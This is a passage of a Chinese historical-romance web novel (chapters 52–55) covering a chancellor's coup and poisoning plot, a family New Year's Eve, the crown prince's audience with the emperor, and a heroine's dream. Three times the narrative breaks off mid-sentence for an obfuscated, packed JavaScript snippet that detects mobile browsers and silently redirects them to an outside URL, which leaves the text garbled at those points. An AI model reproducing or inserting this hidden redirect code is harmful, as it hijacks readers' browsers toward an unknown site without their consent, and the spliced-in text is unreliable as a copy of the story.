寒风砭骨,席容炎神色一凛,拢了拢身上的大氅,叹道,“山雨欲来风满楼,今日入宫,我已经同你大姐秘密商谈了此事,可笑琰儿妇人之仁,竟对皇上动了真情,不忍下毒谋害。” 弥成握拳,“当断不断,必受其乱,此事,决计由不得姐姐。” 席容炎吞了口酒,“下毒之事,我自有办法,但眼下的难题还不在这儿。先前为了牵制肃安王,我让韩掣将李怜灼的调令扣在奉城,又让冯同庆将送往南蛮的诏书发往江北,如此一来一回,即便霍翰羽那小子最后收到了诏书,也来不及去营救肃安王。这原本是一步好棋,谁承想西域突生变故,现在棋局全他妈乱套了。” 弥成提壶斟酒,却并不喝,只是把酒盅拿在手里来回摇晃着,他瞟了眼后山上的梅花,迟疑半晌,方道,“父亲,儿子有一事不明。” 席容炎撂下酒盅,转头看他,“什么事?” “父亲之前求皇上赐婚,原本只是想转移天下人的视线,让他们以为父亲之心,不在皇上,而在太子。如今东窗事发,已经到了撕破脸皮的时候,席容烟知道我们太多事,又并非父亲亲生,留着她,恐生不测,不如——”弥成没再说下去,抬臂做了个抹脖儿的手势。 席容炎哂笑,“她是我的最后一步棋,你当真以为,我当初收留她只是因为她长得好看?成儿,你太看轻你父亲了。” 弥成低头闷酒,不再吭声。 “十二年前,寒星把她带回来的时候,我一眼就看出这女孩绝非等闲之辈。她虽然穿着破烂,却掩饰不了她周身的贵气。那几年,京里犯事儿的人家不少,宁家、方家、楚家……砍头的砍头,流放的流放,充军的充军,他们的家可都是皇上下旨抄的,攥一个幼女在手里,以后就有了制衡皇上的筹码。所以,我让火云去查——” 席容炎的笑容骤然变得乖戾阴鸷,他招了招手,示意弥成附耳过来,“哈哈哈,你猜,她是谁家的孩子?” 弥成心中不解,只作倾听状,便听席容炎不疾不徐,一字一顿道,“她是陈玄赫的幼女,陈——兰——旌——” 弥成如遭雷轰,霍然站起身来,“父亲,此女留不得!” 台上扮着花脸的净角儿樊哙正唱得起劲,他的唱腔粗狂洪亮,众人听得认真,并未留意席容炎和弥成这边的动静。 席容炎环视一圈,向席容夫人使了个眼色,席容夫人会意,一只手抱着憧儿,另一只手拉住席容珵,带着殷氏坐到左边那张桌子去了。 弥成神色木然,依旧佇在原地。 “成儿,坐下。” 弥成坐了下来,可整个人仍是一副失魂落魄的摸样,“父亲,你当年派人杀了她全家,她若有一天知道了自己的身世,她——” 席容炎打断了他的话,“我不仅不怕她知道,恰恰相反,我还得让她知道,因为要杀她全家的人不是我,而是皇上。” 弥成简直不敢相信自己的耳朵,他的嘴一张一合,终于还是一句话都没说。 席容炎夹了一筷子鱼肉,挑了刺儿,又就了口酒,慢慢咀嚼起来,“十多年前的事儿了,你不知道,我今日说与你听。皇上的江山是从马背上夺来的,他得位不正,登基以来,一直忌惮陈玄赫镇西大将军的威名,却又碍着与他的兄弟情,不能明着下手。那时,霍霆已死,相位空悬,皇上用宰相的位置诱惑我,让我替他背锅,先斩后奏,烧了陈府。” 酒烈呛喉,他突然大笑起来,似是嘲弄,又似酸涩,哑声道,“天下人都以为是我挑唆皇上,陷害忠良,说我是佞臣、奸臣、权臣,活该下阿鼻地狱,受千刀万剐,殊不知,一切的一切都是皇上的主意,我不过是他推出来的活靶子,替他受这天下人的唾骂!他篡位以来,先是抄了先帝的两姨兄弟宁远侯,后又排挤太后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502760|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本家方家,逼得太后住进西山,再不过问朝政。他想把所有的权力都揽在自己手里,又怎么会容得下魏皇后的霍家、陈玄赫的陈家?” “这十几年来,娘娘宠冠后宫,我呢,为相前朝,席容家看着是风头无量,可我们不得人心啊!霍家手握兵权,林家进了内阁,方家虽然退了一步,却还掌着南边盐使司的肥差,可我们席容家呢,我们有什么,我们什么都没有!没有兵,没有钱,有的只是个权臣的名儿!我费劲心机,同吏部尚书李茂联姻,将珵儿许给他那个一事无成的小儿子李莲蓉,才有了在朝中培植亲信的机会。可是,那些落魄世家仗着自己祖辈的余荫,还是不把我们放在眼里!” 席容炎“啪”的一声撂下筷子,“反正我已经担了这个权臣的名儿,还不如更进一步,如曹孟德般,挟天子以令诸侯,我看以后,谁还敢轻视我们席容家!” 弥成听得怔愣,他像是掉进了一张布满灰尘的权力巨网,费力的想要从中捋出一条思绪,“所以,父亲留着席容烟,是想着万一有一天到了绝境,还能靠她联合陈家的势力——”他顿住,片刻才道,“陈家的人都死绝了,她一个手无缚鸡之力的毛丫头还能成什么事儿?” “陈玄赫当年屡挫西域,威名远扬,他麾下的四万陈家军,个个都是铁骨铮铮的汉子,皇上能杀陈玄赫一人,可他能杀尽追随陈玄赫的将士们吗?他不能。所以,他才要借我之手,以叛国之罪平息他们的怒火。陈玄赫全家是死了,可他带出来的军队还在,这些人一分为三,一部分跟着李怜灼,守在玉门关吃沙子,一部分划给了霍淳,留在城中,拱卫京畿,还有一部分由肃安王带着东征西讨,平息叛乱。这三方,都是牵一发而动全身啊。” “如此说来,她确有大用。” “还不止,”席容炎冁然一笑,把玩着手里的酒盅,那里头映着黑漆漆的天,只有边上沾了点儿稀薄月色,他略晃一晃,那抹微光便四散碎开,再也合不拢了,“皇宫守卫森严,霍淳更是个难对付的角色,我们没有兵权在手,若要硬闯,胜算不大,可我们若是借着送亲的名义,便可神不知鬼不觉的溜进皇宫。” “父亲是想要在席容烟出嫁那日,起兵谋反?” “这不叫谋反,这叫清君侧——”他没再说下去,因为他看到一抹俏丽的身影正从山上飘落,像是一团红云,越飘越近,他坐在桌前,似乎已经隐隐嗅到了那缕梅香。 弥成顺着他的目光,向山上看了一眼,眼神有些闪烁,“儿子斗胆问一句,父亲对她,真的没有私情吗?” 席容炎还望着那团红云,并未回头,只问,“为何这么说?” 弥成嗫嚅道,“听母亲讲,父亲新纳了红翠馆里的一个娼妓,父亲不是这样不谨慎的人,只因那娼妓的眉眼间有三分像——儿子原本是不信的,可是刚刚见了她,倒是有些疑心了。” 席容炎收回目光,侧脸看他,眸色森然,弥成被看得透不过气,不觉低下了头,“儿子失言了。” 53. 烟花沽美酒 芬华馨逸,芳泽弥远,席容烟和席容珍笑着捧了一束梅花回来。 席容珍还未进花厅,便高声吩咐福禄,“快拿插花的白净瓶来。” 桃夭一手接过梅花,一手轻轻掸落席容烟身上的雪珠。 席容烟的貂鼠卧兔儿上就像是缀了一圈亮晶晶的白珍珠,此刻烛光一洒,熠熠生辉。 席容炎静默看着,没有作声。 席容夫人笑着起身,挡住了席容炎的视线,“这捧梅花足有五六尺长,白净瓶如何插得?” 众人纷纷围了过来,只见其间虬枝横卧,香气逸斜,一时也都犯了难。 柳姨娘拧着腰肢,款款而来,她端详了一会儿桃夭手中的梅花,对着席容炎嫣然一笑,“依奴家看,梅花贵为一品九命,若用寻常瓶子倒有些委屈了,不如去取朱砂红的均州瓶来。” 席容炎颔首道,“莺儿这话说得不错,你们几个,还不快去把瓶子搬来。”他吩咐完,又看向席容烟、席容珍,笑道,“你们两个今日折了梅花,有功,要赏,都想要什么赏赐呀?” 席容珍看了一眼周姨娘,见她微微点头,才欢喜道,“父亲,女儿想要一套赤金头面。” “这有何难,等下叫华盛开了库房,随便你挑就是了。” 席容珍笑逐颜开,连忙屈膝谢过了席容炎和席容夫人。 “烟儿呢?想要什么?” 席容烟思忖半晌,“烟儿现下并无所求之物,如若以后有了,再向父亲讨要,可好?” “不好,我不喜欢欠人东西,这样吧,你一会儿也去库房挑选一件自己中意的首饰。” 席容烟只得道了声谢,屈膝行礼,转身入席。 众人赏梅饮酒,行令畅饮,又说笑了一阵子,席容夫人便命人上攒盒,预备着放烟火。 弥辉听说有果子吃,不知道什么时候又蹭上了椅子,扭股儿糖似的缠着席容夫人,席容夫人怀里还抱着憧儿,只好匀出一臂揽他,口中直呼,“我的儿。” 弥辉好奇地打量她怀里的小人儿,伸指戳了戳他粉嫩嫩的脸蛋,席容夫人怕他伤了憧儿,微微侧了侧身子,回头问他,“你二哥哪里去了?” 此时,丫鬟们已经捧了盛着糕点果脯的小碟上来,弥辉也不净手,拣个青团就往嘴里塞,“二哥在自己屋里用功呢,怎么叫也不理我。” 席容夫人看向席容炎,“都怪你,好好的提这茬做什么?大过年的,若是累坏了德儿,我只和你算账。” 席容炎看了眼弥成,摊开手笑道,“真是冤死人了,明明是成儿劝了德儿去读书,你却偏偏赖在我身上,我知道,你们娘们几个是一家人,单我一个外人,既这么着,我就走。” 说着,竟真做出要走的架势,席容夫人一面笑,一面吩咐弥成,“还不快拉住你父亲,真是反了他了,不过说他两句,还敢跟我顶嘴,你替我灌他几杯酒,看他还横不横了。” 弥成果然斟了一大杯酒,笑着递给席容炎。 席容炎接过一饮而尽,两人相视一眼,哈哈大笑。 弥成之妻殷氏和席容珵坐在一处,殷氏不知说了什么,席容珵面上倏地一下红了起来,“嫂子,你——”她支支吾吾,“你”了半日,又低下头笑了起来。 右边桌上,冯姨娘正给柳姨娘炫耀自己指甲上新染的蔻丹,柳姨娘口不对心地夸赞几句,却有意无意露出了自己腕上新得的一对满绿翡翠绞丝镯。 漫天火树银花,金翠纷缊,真是风捻绫罗线,云织锦绣来。 众人仰头而观,拊掌大笑,“快看呀,好大的一朵梅花呀!” 席容玲年纪小,这会子扑到了何姨娘怀里,何姨娘笑着抚弄她的头发,从碟里捻了几块金丝党梅喂她。席容珍也去寻了自己的母亲周姨娘,两人靠在一处赏着烟花,拉手说话。 席容烟在一片阖家团圆的欢声笑语中,形单影只,孑然独坐,她环顾一圈,心下凄然。 他们都有父母,只有自己,没有。 只有自己,没有。 白雪茫茫,她穿了鲜艳的大红色,却依旧遮不住漫天风雪,挡不住潮水一般的刺耳欢笑。 五颜六色的烟花裹了夜的黑,月的白,掺着大大小小的星子,倾泄而下,直直坠入眼底。 席容烟兀自斟了杯酒,仰头饮尽,辛辣的酒和心酸的泪便都沉入秋波,再也看不见了。 逍遥居中,灯火辉煌,弥德读了半晌的书,不免有些困倦,他打了个哈欠,饮了口酽茶,又点起两支蜡烛,勉强振了振精神,重新捧起书卷,吃力读着。 他许久未曾用功读书,眼下看着书里写的东西,只觉头晕眼花,若是一个个字单拎出来,他倒都还认得,可这些字一行行,一段段地堆在一块,他就看不明白了。 翠鸾在窗外隔着纱屉子唤他,“二郎,你快出来看烟花,可好看了!” 香杏,芦儿,娇妘也从廊下簇了过来,招呼着,“二郎出来呀——” 弥德揉了揉发酸的脖颈,直起身子伸了个懒腰,顺着喊声,推门出去。 他倚在廊上,伸手拨了拨翠鸾的耳坠子,笑道,“吵嚷什么,你二郎都看不进去书了。” 翠鸾伏在他的膝上,往天上努嘴,“宸园那边放烟花呢,二郎再不出来,可就看不见了。” 芦儿挨着他坐了,嗔怪道,“今儿可是除夕呢,二郎却只管往屋里一呆,害的我们几个戏也没听成,热闹也没赶上,若是晚上还不理人,我们几个可不依了。” 香杏和娇妘笑着附和,一左一右绕到后面给他揉肩,弥德舒舒坦坦地往后一靠,惬意道,“去宸园干嘛,当着父亲的面儿还得立规矩,在这儿不一样能听戏?又逍遥,又快活。” 翠鸾、香杏、芦儿、娇妘一时都住了嘴,侧耳细听,果闻得那支《沽美酒》悠悠远远,断断续续的传了过来,“兀的不是狡兔死走狗僵,高鸟尽劲弓藏,也枉了你荐举他来这一场。把当日个筑台拜将,到今日又待要筑坟堂。”[1] 弥德神色几变,遽然立起身来,翠鸾原本伏在他身上,现下没防备,直直滑到了地上,疼得她只喊“诶呦”,香杏、芦儿、娇妘也唬了一大跳,忙上去搀起翠鸾,又怨弥德。 翠鸾扑了扑身上的雪,笑道,“不碍事的,原是我没当心,不怪二郎。” 弥德却只是怔怔站着,双眼空洞无神,像是在看天上的烟花,却又好像什么都没有看。 翠鸾拉了拉他的袖子,柔声唤道,“二郎,你怎么了?” 弥德回过神来,看了她一阵,缓缓叹了口气,“回屋吧,外头冷。” 烟雨阁。 席容烟褪了狐裘,卸了钗环,捧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502761|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花卉纹罩子的小手炉,闲闲歪在紫檀罗汉床的一侧。 桃夭坐在脚踏上,笑道,“四小姐今日得了一整套的赤金镶红宝石头面,从库房出来的时候,我看她笑得连嘴都合不拢了。姑娘怎么不也要一套像样的头面,左右是老爷发了话的,谁敢薄待姑娘?姑娘只拿一枚象牙扳指,岂不是吃了亏了?” 席容烟从案上拣起那枚象牙扳指,一面仔细端详,一面叹道,“你不知道,这府里的人最是势力,瞧见周姨娘不得宠,也便不把珍儿放在眼里。你以为珍儿要那头面做什么?她是想攒着给自己做嫁妆的。我又不想要这些东西,和她争什么呢。” “那姑娘就没有想要的东西吗?” “有啊,只是我想要的,父亲给不了我,也不会给我。” 桃夭见她又有伤感之意,便将目光移到了她手中的扳指上,故意逗她,“这东西是外头那些男人拉弓用的,姑娘要这扳指,该不会是想送给寒将军吧。” 席容烟笑着捶她,“你个小蹄子,知道就行了,还偏要说出来,也不嫌臊得慌。” 一时,两人笑着闹作一团。 窗外,盐絮参差,碎玉淙淙,一如那日烟雨朦胧,她于窗下为他抚琴,一首《越人歌》,道尽心中事,只是如今已是隆冬,不知是记忆流转了时空,还是花瓣飘错了流年。 席容烟看了半晌,心下微动,便命桃夭去取龙泉小浅碟儿,自己蘸了墨汁,信笔写道: 纱拢月兮月拢枝,枝缀月兮月不知。 浅寐尚需素笺就,辗转只叫暖衾离。 小炉笼袖温绡帕,碧窗垂发待露晞。 昨朝梦别伴春雨,今宵寒酥忆珠玑。 风静星动依稀去,参商遥兮终难契。 二十四桥人尽望,南北一般重相思。 烟波浩渺无音讯,生死不料未敢量。 茶冷唇涓细厮磨,愁丝百结化女墙。 绿云微湿滴绣闼,情愫萦齿倚琉乡。 俯掬半杯瑶池水,扑鼻尽是醉红香。 子恐不欲知我待,吾亦不了与君伉。 千年修行为伊话,空比昙花又何妨。 九霄扶摇悬清瀑,素练飘然坠寰瀛。 佛言卿于魂牵处,菩提树下渡修行。 一欹枕畔落银汉,二眄婵娟洗澄明。 三更烛远钗环卸,四下寒侵凌波萦。 吾念如潮君如汐,岂在朝暮相与倾。 劝君休为一曲故,笑遣青鸟若浮萍。 倏尔过隙五岳辞,须臾斗转百川茫。 南国红豆折枝寄,西域残血满抔漾。 卿于彼岸可安好,唯恐不得此间觞。 心与日月同辉映,情比金坚遥相望。 旦夕正是月盈时,思郎盼郎不见郎。 再抚七弦绿绮凉,指起音落最断肠。 三生三世罔奈何,斑驳疏影徒孟婆。 辰取朝露沏山茶,寝拥月光饮洁魄。 执手月来花弄影,笑对辞赋俦脉脉。 地老天荒芳菲尽,两鬓华白画眉多。 灯花拂散无人收,墨汁冷却懒研磨。 此情此意月为证,留待来日为君歌。 席容烟搁笔,已有七八分困意,她将素笺同之前写的金凤笺叠在一块,自去床上睡了。 54. 灯花落棋盘 元日已过,马上就是大魏三年一度的官员考核,此事关乎朝中大臣的任免调动,往年由吏部尚书李茂主理,但是今年,魏帝却全权交给了太子魏晗烨去办。 魏晗烨这段时间除了赴宴,甚少出门,成日伏在案上批阅奏章,处理朝政。 此时已是酉初一刻,桐叶更漏里的水都滴尽了,云风提着铜壶,向内添水。 魏晗烨直起身子,揉了揉有些发胀的太阳穴,又命云风点上可以提神醒脑的檀香。 他闻着檀香,疲惫渐消,提笔在自己拟定的人选名单上反复勾画,多番权衡,对他而言,这次的官员考核至关重要,他需要借此机会,再铲除一部分席容炎的党羽,尽可能分化他在朝中的势力,同时提拔一批出身寒门,及第成名,德才兼备,能为自己所用的有学之士。 袁青大步走了进来,“殿下,肃安王的信。” 他并未抬头,只道,“兄长前几日不是刚叫人送来一封吗?这怎么又来一封?” 袁青语气中也有些不解,“这次的信是肃安王的亲兵送过来的,这家伙一路专挑小道走,连客栈也不敢住,绕了好大一圈子才进的城。” 魏晗烨心中一动,忙伸手道,“拿过来。” 袁青将信递给他,魏晗烨检查了一遍封口处的蜡油,确定信没有被人拆开过,这才撕开书套,抽出信纸,仔细读了起来,他的目光一行行扫过信中内容,眉头不禁越皱越紧。 袁青瞧出不对,便问,“殿下,是不是肃安王那边出事了?” 魏晗烨攥着信纸,凝睇不语,袁青不敢再问,只在一旁垂首站着,静候吩咐。 “送信的人现在何处?” “在侧殿呢,殿下要见他吗?” 魏晗烨略一点头,才跨出一步,却又收了回来,“父皇在哪儿?” 袁青一愣,“殿下稍等,我去打听一下。” 袁青疾步而出,很快,他迅速跑了回来。 “殿下,皇上正在永和宫同怡贵人下棋。” “怡贵人?” “就是太常寺卿裴志固之女裴怡欢,去岁在赏花宴上跳扇子舞的那位,殿下见过她的。” 魏晗烨努力回忆着,却还是全无印象,他对于赏花宴的记忆,全在席容烟一人身上——她的琴声,她初次饮酒时的狼狈模样,还有她的那句“她的命,原也不是她自己选的”。 魏晗烨收回思绪,“走吧,随孤去永和宫。” “啊?现在吗?要不——” 袁青的话还没说完,就见魏晗烨已经走出了殿门,袁青忙咽下后头的话,快步跟了上去。 永和宫。 烛火荧荧,柔和的光亮洒落木质棋盘,化作一层金色薄膜,笼罩着缓慢流淌的时光。 棋盘经纬之上,黑白两子,相争相环,其间音质清脆,如击玉石。 随着灯花一朵朵地飘落,棋盘上的落子声越来越慢,仿佛踏着光晕遁入了漫漫长夜。 忽听“啪”的一声,打破了这冗长的寂静,裴怡欢抬起眼眸,轻轻一笑,“陛下赢了。” 魏帝握着触手生凉的晶莹棋子,盯着棋盘看了半晌,唏嘘道,“这一步好险啊,怡欢,朕只知道你擅长歌舞,没想到你的棋艺竟也如此高超。” 裴怡欢语调平和,“陛下终究还是赢了臣妾,不是吗,可见臣妾不过是雕虫小技而已。” 魏帝笑了笑,道,“朕虽不善对弈,却也知晓棋道,这一局,你明明能在几步之内获胜,却硬是拖了这么久,最后还能不着痕迹的输给朕。怡欢,你还要骗朕吗,这可是欺君之罪。” 裴怡欢闻言,立刻跪了下去,“臣妾并未欺瞒陛下,正所谓普天之下,莫非王土,率土之滨,莫非王臣,陛下乃是天子,天下万物无论输赢成败,皆归陛下所有,故而今天这盘棋,臣妾赢也是输,输也是输。”[1] 魏帝把玩着手中的棋子,那枚棋子本是冰凉的,被他在手掌里揾了许久,现下已然温热,他将棋子抛回棋罐,温声道,“起来吧。” 裴怡欢仍是跪着,“还请陛下恕罪。” 魏帝饶有兴味地看着她,“你方才已经说过,你并未欺瞒于朕,既如此,又谈何恕罪呢?” “臣妾的确未曾欺瞒陛下,但臣妾欺瞒了自己的心。臣妾幼时曾受父亲教诲,人之操履无若诚实,可臣妾自入深宫,便有了许多不得已,臣妾能骗别人,却唯独骗不了自己。”[2] 魏帝默了须臾,起身扶她,“大小相次,总归分个次序,仁义礼智信,你如今为全忠义,方才这般行事,到底也不算无信之举。” 裴怡欢被他拉着坐下,“谢陛下。” 魏帝抬手想要摸一摸她的发髻,她却微微别过头,躲开了。 魏帝的手一滞,沉声道,“怡欢,你还是不肯吗?” 裴怡欢只是低垂着头,并不作声。 魏帝拂袖而起,“你也知道,朕是天子,天下万物皆为朕所有,你又何必如此执拗呢?朕念在你是裴家女儿的份上,一直不愿意强迫你,朕想等你心甘情愿的那一天,可是怡欢,你太让朕失望了!你知不知道,朕若是想要即刻就能要了你。” 裴怡欢神色淡然,“陛下当初让臣妾入宫,为的便是裴家女儿这个身份,陛下若要强迫臣妾,除了一时欢愉,别无好处,反而容易和裴家生出嫌隙,陛下是明君,不会做这样的事。” 魏帝向她逼近一步,“如果朕,偏要如此呢?” “雷霆雨露,均属天恩,不论陛下给什么,臣妾都只有受着的份儿。”裴怡欢抬起头,直视着他的眼眸,“可是陛下,臣妾不愿。” 魏帝咥然一笑,张口正要说些什么,李义在外高声回禀,“陛下,太子殿下求见。” “这么晚了,他来永和宫做什么?” “说是有要紧的事需要面见陛下。” 魏帝坐了回去,“罢了,让烨儿进来吧。” 魏帝没说让裴怡欢起来,裴怡欢只好继续跪着,一言不发。 魏晗烨走进大殿,扫了一眼垂首而跪的裴怡欢,行礼道,“儿臣见过父皇,怡娘娘。” 魏帝微一颔首,“何事?” 魏晗烨并未立即答话,看了一眼裴怡欢,方道,“父皇能否先让怡娘娘起来,儿臣的话事关朝政,后宫中人不宜旁听。” “怡贵人,你先下去吧。” “是。” 裴怡欢缓步而出,从外关上了殿门,李义和袁青一边一个守在门口,不准宫人靠近。 魏晗烨取出那两封信,“父皇,就在刚刚,肃安王的亲兵送过来了一封信,信中内容同前些日子送来的那封截然不同。儿臣仔细看过,两封信都是兄长亲笔,落款时间也是同一日,此事实在太过蹊跷,儿臣拿不定主意,这才漏夜赶来求见父皇。” 魏帝目光在两封信上各自扫了一遍,微微皱起了眉头,不悦道,“既然是同一日所写,为何第二封信晚到了这么多天?” “袁青说,送信的亲兵一路上专挑小路走,连客栈都不敢住,绕了好大一圈子才进的城,所以多耽搁了几日。” “第一封信走的是驿道,第二封信却是偷偷摸摸送过来的,如此说来,这个送信的亲兵很是可疑,应当严加拷问。” “父皇,儿臣以为,若是第一封信为真,倒还罢了,万一第二封信才是真的,父皇审问送信之人,势必会引起宰相的怀疑,打草惊蛇,得不偿失啊。” 魏帝沉吟半晌,缓缓道,“琰儿不会如此。” “席容皇贵妃或许对父皇一往情深,但她并不能代表她的父亲,席容炎野心勃勃,大权在握,难保不会生出异心,父皇不可不防。何况,信中提及的陈玄赫一案,当年牵连甚广,如若父皇能为他们沉冤昭雪,天下将士势必会感念父皇的仁德。” “第二封信上的内容未免过于荒谬,朕相信席容炎会培植党羽,朕也相信他下毒害死了霍霆还有煜儿,朕甚至可以相信他胆大包天,刺杀你不成,索性一不做二不休,妄想谋害朕!但是陈玄赫通敌叛国一案,证据确凿,早有定论,没什么好说的。” “父皇,当年都说陈玄赫将军里通外国,所以才畏罪自焚,如今想来,疑窦重重。他是镇西大将军,征战西域多年,为什么突然投向西域一方?再者,那场大火把陈府烧成了一片废墟,为什么还能留下一封完整无缺的密信。陈玄赫若是自焚,便是已然抱定了必死之心,怎会不一并烧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502762|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好在世间留个清名。此事虽然已经过去多年,但若是想要彻查,也很容易,这封密信现在应该还存放在大理寺,是真是伪,找出来一验便知。” “烨儿!” 魏晗烨想不明白他的父皇为何会突然动怒,一时不知该说些什么,许久方道,“父皇,宁可信其有,不可信其无,为保万无一失,还请父皇多加留意后宫诸人,尤其是,仪鸾宫。” 魏帝有些疲惫的阖上眼睛,颔首道,“朕知道了。” 魏晗烨心下黯然,等了半晌,刚要转身离开,忽听魏帝问道,“烨儿,这次的官员考核,你筹备的怎么样了?” 魏晗烨理了理思绪,恭敬回道,“宰相同吏部尚书联姻,在朝中安插了不少他们的人,长此以往,必成一党,不可不除。另外,朝中大臣有些是世家子弟,这些人尸位素餐,一无所长,反而挤占了普通老百姓通过科举跻身朝堂的可能,儿臣想要提拔一批出身寒门的官员,一来可以肃一肃朝堂上的风气,二来也可广开渠道,以安民心。” “人选可都定了?” “尚未确定,等儿臣拟好了,再送来给父皇过目。” “嗯,你的初衷是好的,只是不可操之过急。相比前朝,如今朝中的世家子弟已是少之又少,他们不会做什么,这是坏事,也是好事。宰相席容炎便是朕一手提拔的寒门子弟,他有手腕有能力,可他,远比什么都不会做的世家子弟更需要提防。朕把世家子弟放在朝中,不过费些银子,占些位置,却能在朝中多出一股重要而又安全的势力。你若想要剪除席容炎一党,必要获得世族的支持,否则,你一旦把两边都得罪了,就什么都做不成了。” “是。” 魏帝看着他紧蹙的眉头,笑了笑,“烨儿,你来瞧瞧这盘棋。” 魏晗烨将视线移到棋盘之上,他五岁时受封太子,自那时起,便有师傅教他博弈之术,后来他为了魏晗煜,同他互换身份,隐入暗室,更是百无聊赖,揣摩棋势棋路,颇有心得。 “同父皇讲一讲,你都看到了什么。” “这盘棋耗时甚久,看似是黑子险胜,实则早在最开始的那几步,就注定了白子必败的结局,剩下的棋,白子不过是尽可能拖延时间罢了。” “是啊,”魏帝抬手一拂,满盘尽毁,他拾起一枚黑子,“啪”的一声,直扣天元,“这盘棋从一开始注定了黑子胜,白子负,早一些晚一些又有什么关系呢。” 魏晗烨若有所悟,“父皇的意思是——” “烨儿,人生如棋,一时的输输赢赢都不打紧,重要的是,最后的胜负握在谁的手里。” “儿臣明白了,儿臣会在升擢的人选中添上几名世家子弟,先同他们联手除掉席容炎,日后再找机会徐徐图之,名单儿臣稍晚便命袁青送到长乐宫去。” “不必了,你心中有数就好,烨儿,朕放权给你,便是相信你能做好大魏未来的皇帝。” 魏晗烨一惊,慌忙跪下,“父皇,儿臣忝居东宫之位,武不如肃安王,才不如哲远王,实非大魏皇帝的最佳人选,还望父皇慎重考虑,再行定夺!” 魏帝笑了起来,“哈哈,朕是选天子,不是选文武状元。一国之主,不需要能上阵杀敌,更不需要能吟风弄月,需要的是有识人之术,爱人之心。你善良、仁德、聪明、还识大体,唯一不足的就是过于慈悲,缺乏雷霆手段,所以朕才要把你放到太子这个位置上磨练,才要让你和世族寒门正面博弈,烨儿,你不要辜负朕的一片苦心。” 魏晗烨有如醍醐灌顶,恍然大悟,他对魏帝所有的怨与恨都在这一刻烟消云散,他跪在地上颤抖的说不出话来,只哽咽道,“父亲。” 魏帝一怔,随即扶住了他,声音中亦有哽咽之态,“好孩子。” 魏帝就像小时候那样,拉着魏晗烨的手,出了永和宫的大门。 裴怡欢带着宫人跪下行礼,“恭送皇上。” 待到魏帝、魏晗烨走远了,裴怡欢扶着木槿的手起来。 木槿在旁温声劝着,“皇上难得来咱们永和宫一趟,娘娘这又是何苦呢?” 裴怡欢并不说话,只是微笑着摇了摇头,她望着他们的背影,目光一如既往的清冷。 55. 水火梦中身 烟雨阁。 冬尽雪犹残,疏影阑珊。 楠木垂花拔步床内的芸香清浅苾芬,流萦宛转,倏尔间晕散开来,甚是好闻。 席容烟正歇中觉,睫毛一直在抖,睡得并不安稳,她的檀口翕动,似在呢喃着些什么。 她卧在虚虚渺渺的浮香中,如坠云端,如仰星河,她梦见了那夜簌簌而落的漫天星子,梦见了他们缱绻相拥,吻到窒息的抵死缠绵,梦见了她唇上的鲜血和他锁骨间的那抹妖冶。 九霄之下,还是那池雾气氤氲的春水,她望着那水,不由得想起了寒星含情脉脉的眼眸,于是毫不犹豫地跳了进去,她要去找他,她想,他一定在这儿等着自己。 没入池水的那个瞬间,她只觉得一股股郁热的气流扑入鼻息,害得她喘不过气,她拼命地挥手求救,但是没有人来救她。她呛了一大口水,身子不受控制地沉向诡谲无波的深渊。 寒星,寒星,她在心底一遍遍念着这个名字。 她相信,他会救她,她相信,他一定能救她。 四下无声,岑寂渐蒙,池底忽而激涌起一阵狂浪飑风,抟旋而聚,裹挟着她冲了上去。 她仓促回头,见是寒星托举着她,一气儿浮出了水面。 她欢喜的回身勾住他的脖颈,便要吻他,寒星的薄唇依旧没有温度,无论她怎么努力,仍是冰冰凉的。 寒星笑着,眼底都是化不开的柔情,他捻起她鬓角的一缕湿发,用牙咬着,含在嘴里,酥酥麻麻的感觉顺着青丝,蔓过她的颈侧,勾的她心中越来越痒。 她闭着眼,蜷在他的臂弯里,浑身热得滚烫,她觉得自己就快要化开了。 朦朦胧胧之际,水面上浮动着的细碎光晕一点点变亮,从纯净的白,到琥珀的黄,再到火烧云般大片大片的赤红。 她大惊。 起火了! 白茫茫的沆砀之气悄然而散,取而代之的是望不尽的滚滚浓烟,数不尽的熊熊烈火。 她停下亲吻,不知所措地看向寒星,寒星也正看着她,他冰蓝色的眼眸中闪过一丝悲凉。 他笑了笑,仿佛在说,阿烟,别怕。 下一秒,他就抱着她一跃而起,直上云霄。 她的脚踏在了柔柔软软的云朵上,她还没来得及松口气,就见寒星悯然一笑,退了一步。 她心觉不好,伸手就想拉他。 可是已经晚了,她的指尖只掠到了一缕极轻极淡的云絮,寒星一脚踩空,直直掉落下去。 她仓皇的松开手,底下烟雾弥漫,她寻不到寒星的身影,只能看见涌起的火舌翻滚舐动,贪得无厌的吞噬所有。 她恸哭痛呼,“寒星!” 